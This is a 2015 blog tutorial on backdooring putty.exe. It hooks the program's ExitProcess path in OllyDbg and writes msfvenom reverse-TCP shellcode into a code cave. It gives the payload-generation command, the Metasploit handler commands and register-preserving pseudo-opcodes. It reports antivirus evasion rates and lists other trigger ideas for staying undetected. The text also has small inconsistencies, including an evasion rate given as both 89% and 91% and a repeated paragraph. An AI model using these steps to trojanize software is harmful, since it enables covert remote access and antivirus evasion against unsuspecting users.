Backdoor 101

Note: this post was made in September 2015

Introduction

This method approaches a basic technique in a diverse way. This process does not utilize any advanced mechanisms such as shell code obfuscation, code cave region splitting or ROP. This paper presents the concept of hooking ExitProcess to redirect execution flow and bypasses VirusTotal reasonably well at a 89% evasion rate.

A backdoor is an alternate path that allows an attacker to compromise a system. By utilising a back door in an executable, we are creating a Trojan horse. The process required to create such an executable requires modification so that when it is running, it provides a door which allows an attacker to penetrate the system. The notion of executable back doors are often a strong method that can provide persistence without the addition of a new start-up program or system service. We can re-use existing software by taking the existing start-up programs or system services on the target system and add our malicious code. I have decided to create this post as an introductory tutorial to manual back door injection into executables. In this particular post, I will be focusing on the basics of shell code injection by redirecting code execution flow. This is a basic method and is taught in most tutorials and involves the use of code caves which will be discussed later on in the paper. In this scenario, I will be hooking a point in the path of execution flow that the exiting of the program had triggered.

The reason as to why I chose the exit procedure is due to how a lot of anti-virus scanners as well as virtualisation agents operate. Generally, these detection systems will either be signature based or try to run the software and detect any malicious behaviour. A common malicious behaviour that is detected is the attempt to connect out of the system to the internet. There were many suggested methods to bypass virtualisation such as using a delay upon opening software before launching the malicious code in hope that it times out. However, some virtualisation engines can make use of the system clock to speed up this process. If we use the exit procedure instead and require user interaction, an automated script will find it difficult to trigger our payload and analyse its behaviour. In most cases, a user will need to exit the process so a click of the “X” at the top right of an application is generally the way — doing so will trigger the exit branch code. In this paper, we will find where that exit branch is and find an arbitrary point to redirect flow to our code cave.

The following diagram highlights the concept of redirecting traffic flow to our malicious content.

Finding exit flow

Finding the exit flow allows us to redirect the code upon this path to our malicious code section when the exit button is pressed. To discover the point at which the exit function is called, tracing is required. In order to find and trace the flow of exit, we need to be able to find a point of reference. The point of reference we will use in this case is a call to the kernel32 function ExitProcess. In this example, I will be using** putty.exe**. To perform this and to find a reasonable point of injection on the path of flow, we need to open putty.exe in Ollydbg.

We need to ensure that the program loads into Ollydbg and that it starts at the Open Entry Point (OEP ~ usually around 00400000).

To find where ExitProcess is, we can right click on the disassembler screen -> search for -> names as shown:

To search through the different functions that are used, we can type ExitProcess and Ollydbg, this will begin searching as displayed in the next screenshot.

After finding the function, we need to find reference points in the program where the function is called:

To set a break point on both of these, we can press F2 (toggle break point) whilst highlighting each one as shown. Another method of toggling break points is by right clicking on the address and clicking toggle break point.

The next step is to continue the execution of the program until it stops at any of our set breakpoints by pressing F9 and pressing the “X” to close the program. When it stops we can observe the stack to further understand the execution flow and the calls made:

From observing the stack, we can now see the nest of calls made up until this point of execution. We can find a reasonable point of execution further up the stack in which still lies on the path after clicking the “X” to exit the program. This is achieved by understanding that all return addresses are stored on the stack along an execution path so that the program knows where to return to. By noticing these addresses, we can select a point in which we believe to be within process owned memory that lies on the exit procedure flow. The highlighted line in the image below on the stack view displays the address that a call will eventually return to during process flow. On the disassembler view, we can see that I have put a breakpoint on the instruction at 0x004493F2 which was previously called on execution flow but the address of 0x004493F7 is on the stack to return to at a later point of the procedure. This is important and requires testing to see whether it is indeed triggered after pressing the “X” button in putty.

We can now test this address to ensure that it is indeed on the ExitProcess execution route. We test this by restarting the process and pressing F9 (resume execution) or by going to the bar at the top and pressing “debug” -> “run” to run putty then pressing “X” to trigger the exit process procedure. As we can see in the following image, it is indeed on the flow because the program stops at this breakpoint. This is indicated by the black highlighting of the address as shown, with red text meaning that we have a break point set.

Searching for a code cave

To search for a code cave, we must first understand what they are. A code cave is a section of code that is not used by the program and this means that we can insert any arbitrary code into without affecting execution flow. When taking screenshots for this guide, I used a bad section for the code cave — so do not use the same addresses. This was not repeated for me to take better screenshots because it was 4am and I wanted to publish this paper quickly as I wanted to work on more advanced techniques tomorrow. I shifted the beginning of my code cave further down due to a null byte that had randomly found its way into my shell code during execution. In most cases, the most sensible option for finding a code cave is to search for long sequences of null bytes.

To search for code caves in Ollydbg, we can right click on the hex dump -> search for -> binary string as shown below:

After doing so, we can type in a long chain of null bytes. On the next step, we generate the shell code and there is an indicator as how much space is required. In most cases, shell code splitting will not be required so an amount of null bytes larger than the shell code size should be searched for. Although the following screenshot does not show a selection in “Entire block”, it is recommended that you use it. The “Entire Block” selection enables the search to be both forward and backwards from the current position you are searching from.

The following result is obtained. There is a code cave found at address 0x0047A053. Taking this method of finding code caves, we can find a lot of code caves of different sizes to split the shell code. The splitting of the shell code and obfuscation of traffic redirection is not covered in this tutorial.

Generating malicious shell code

In this scenario, I have set up two virtual machines. The first machine has Kali Linux installed. The attacking box has the Internet Protocol (IP) address of 192.168.1.130 as displayed below:

The second of the two machines has Windows 7 installed and is located at the IP address of 192.168.1.132 as laid out in the following screenshot:

For this tutorial, I have chosen a basic payload which provides a windows shell through the use of reverse TCP protocol transport on port 443. using the following command:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.130 LPORT=443 -f hex

The msfvenom script returns an appropriate hex dump of the payload for windows as shown:

Inserting the shell code

Before inserting the shell code into the code cave, we need to understand how to preserve the status of the registers and flags.

The general process is:

  1. Saving of registers

  2. Saving of flags

  3. Executing shell code

  4. Stack alignment

  5. Restoring of registers

  6. Restoring of flags

Following this, we need to resume the previous execution path in order to be stealthy (we do not want the application to crash as it would look suspicious). This translates to the following pseudo-opcodes.

PUSHAD       # save the registers
PUSHFD       # save the flags
SHELLCODE
ALIGN STACK  # align ESP with where we saved our registers and flags
POPFD        # restore the flags
POPAD        # restore the registers
ORIGINAL INSTRUCTION(S) REPLACED BY JUMP
JMP <BACK TO NEXT INSTRUCTION>

Below shows two screenshots. The first screenshot displays the empty code cave and the second screenshot portrays the shell code populated code cave.

We can check that the code is in fact correct by looking at the disassembler view which displays the following Operation Codes (opcodes). The shell code is injected into the code cave alongside the pushad, pushfd, popfd, popad and fixed instructions accompanied with a jump back to correct the execution flow.

Saving all changes to file

It may not be possible to save both the original code cave jump as well as the code cave at once. Therefore it may be advisable to save in two steps. To save changes, highlight the proposed changes and right click -> edit -> copy to executable. The following screenshot displays this:

To save it, we can follow this screenshot on the next dialog box that pops up.

Set up the handler

In order to handle this payload effectively, it is suggested that metasploit is used. To perform this, the following commands are used:

msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.1.130
set LPORT 443
exploit

The following screenshot displays these applied settings:

Now we can execute the backdoored putty executable bkd.exe on the victim machineand close the executable. This allows us to trigger the correct execution flow and ensure that our code cave is being accessed. This is apparent when we get a result as displayed by the following image:

Now we can execute the backdoored putty executable bkd.exe on the victim machineand close the executable. This allows us to trigger the correct execution flow and ensure that our code cave is being accessed. This is apparent when we get a result as displayed by the following image:

Through this, we can now upgrade this shell to a more advanced shell such as the meterpreter shell but this will not be displayed in this tutorial as it is trivial to do so. The use of the meterpreter shell was possible. I did not do so in the tutorial due to my preference of simple shells.

Results and conclusion

In this section, we discuss the results for our backdoor’d binary. VirusTotal is a popular scanning solution which makes use of 54 different antivirus software from various vendors. Although this means that it is possible for my sample to be undergoing inspection by researchers due to the submission to VirusTotal. However, this should not affect me nor any potential readers as this method is simple and should be used as a throw away technique that we can burn. This allows us to enjoy a broad view and understand which of the currently popular antivirus software can detect our malicious binary. The shell code that we used has been previously signatured by many antiviruses due to the static generation nature of msfvenom. However, with some time, it is trivial to translate the shell code into an equivalent but longer shell code that is undetected to signature scans. If vendors begin to simulate a click on the “X” button to close processes, we can then look into hooking other elements of UI or execution flow such as but not limited to:

  1. Right-clicking on screen -> execute payload

  2. File -> open dialog pops up -> execute payload

  3. If price of currency in ForEx trading software exceeds $Z,ZZZ,ZZZ dollars -> execute payload

  4. If turbulence on plane is detected -> execute payload

  5. When USB device is attached -> execute payload

  6. If AV does not exist -> execute payload

VirusTotal results are shown below:

With an evasion rate of approximately 91%, the results look promising for a simple Exit procedure hook. This begs the question as to what possibilities can arise when we consider advanced techniques such as shell code splitting, shell code obfuscation and ROP injection.

Through further investigation into ROP, it is possible but very practical to make use of ROP to tamper with the execution flow of a program to run malicious shell code. Giorgos Poulios, Christoforos Ntantogian and Christos Xenakis explain that ROP injection provides new heights for evasion with a whitepaper presented at Blackhat 2015[1].

As this is my first blog post, any criticism, feedback or recommendations will be highly valued.

References

[1]: Return Oriented Programming for Polymorphism and Antivirus Evasion - BlackHat 15

Last updated